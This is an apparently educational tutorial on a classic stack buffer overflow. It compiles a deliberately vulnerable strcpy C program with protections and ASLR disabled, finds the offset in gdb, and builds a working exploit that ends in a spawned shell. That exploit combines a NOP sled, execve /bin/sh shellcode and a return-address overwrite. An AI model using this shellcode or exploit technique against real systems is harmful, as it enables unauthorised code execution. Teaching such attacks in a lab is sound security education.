Buffer Overflow 101
Background
- A bit of background on buffer overflows: Buffer overflows occur when a program attempts to write more data into a buffer than it has allocated for it. This can lead to overwriting adjacent memory locations, potentially resulting in code execution or other security vulnerabilities.
- Recently, in one of my lectures, I was tasked with simulating a buffer overflow vulnerability, and I would like to share my approach to simulating this vulnerability.
C Program used for the Simulation
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]) {
char buffer[256];
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
return 0;
}
- The above binary is vulnerable because of the use of
strcpy, which fails to check for buffer overflow. Sincestrcpycopies data without ensuring the destination buffer has enough space, an attacker can exploit this to overwrite adjacent memory. PS: for such applications always usestrncpy.
Compilation
gcc -fno-stack-protector -z execstack -no-pie -m32 -mpreferred-stack-boundary=2 program.c -o program
- mpreferred-stack-boundary: This is particularly relevant for older or specific ABI requirements, as many modern systems use a higher boundary. Basically in my case, I had to use this to ensure that the stack is aligned to 4 bytes as im compiling to a 32 bit binary.
- fno-stack-protector: Disables stack protection also known as canaries allowing buffer overflow to occur.
- execstack: This flag marks the stack as executable, allowing you to place and run code from the stack.
- no-pie: Disabling PIE (Position Independent Executable) means the binary loads at a fixed address, which simplifies things for certain testing scenarios (like predictable addresses for shellcode).
- m32: This flag compiles your code as a 32-bit binary.
Also make sure to disable ASLR using the below command,
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
This makes sure that the addresses are not randomized and are predictable.
Reconnaissance

- PIE: No PIE, meaning that the binary is not built as a Position Independent Executable, which results in a fixed memory layout each time the program runs.
- Stack: No Canary found meaning we can easily perform buffer overflow as there are no protections also it is executable allowing for shellcode to be executed.
Performing the attack
-
Basic Exploration
First, I’ll disassemble themainfunction and fill the buffer to find out where the buffer’s address is stored in the stack.
Now from the above we will first try to put a breakpoint at something after the puts@plt which is at
0x8049050so that we can see how the buffer fills upon filling with input. -
Filling the Buffer

Command:
r $(python2 -c 'print "A"*256')In the above image upon running this we can fill the buffer which can accommodate
256bytes of characters using python2. By doing so we can find out whats the starting address of the buffer which will be used to craft the exploit.Running the below command gives us a better clarity,
Command:
x/256x $esp
From this image we can see that the buffer starts filling from
0xffffcfa4with ‘A’ (0x41) -
Offset Calculation
Now lets find till where we must give input so that we can overwrite the EIP (current instruction register) . From the below we see that we overwrote the EIP with
‘qaac’.Command:
cyclic 300
Now finding the offset using the below command,
Command:
cyclic -l qaac
Thus we found that the offset needed is
264after which the next 4 bytes given will overwrite the EIP with that value.Command:
r $(python2 -c 'print "A"*264 + "BBBB"')We can confirm this with the below image where after
264, I have given‘BBBB’as input which has been overwritten onto the EIP.
-
Writing the Exploit
Now we have the following details:
Buffer starting address:
0xffffcfa4
Offset:264Next, we need malicious code. I’ll be using a shellcode that spawns a shell from the binary, which can be exploited by an attacker to compromise the system.
Shellcode used:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80The above is a 23 byte shell code
So now to write the exploit we need to follow the below structure,
- First we need a NOP (NO operation sled) which provides a safe landing zone for the return address. Basically making sure that execution slides down NOPs to reach the shellcode . For this lets take a value of
100NOPs (experimentally found). - Next we put the 23 byte shell code.
- Next since the offset was 264 we fill the remaining (264 – 23 – 100 =
141) with padding, so here Ive padded with ‘A’ - Next we write the address which we want to overwrite on the EIP
- In this the actual return stack address is
0xffffcfa4, however we want to point it to an address which is somewhere within the NOP sled so it can slide to the shellcode. Hence from the below image ill take the address0xffffd0c0which is filled with /x90 which are NOPs so that it can slide execution into the shellcode.
The stack address is located higher in memory, as shown below:

Thus, we can craft the exploit as follows:
./program $(python3 -c 'import sys; sys.stdout.buffer.write(b"\x90"*100 + b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80" + b"A"*141 + b"\xc0\xd0\xff\xff")')- The address
0xffffd0c0has been written in little endian hence\xc0\xd0\xff\xff. - NOP in hex is
\x90.
Below is an image which shows the attack being successful and spawing a shell which can be used by the attacker for manipulating the system.

BOOM! We have successfully exploited the buffer overflow vulnerability and spawned a shell.
- First we need a NOP (NO operation sled) which provides a safe landing zone for the return address. Basically making sure that execution slides down NOPs to reach the shellcode . For this lets take a value of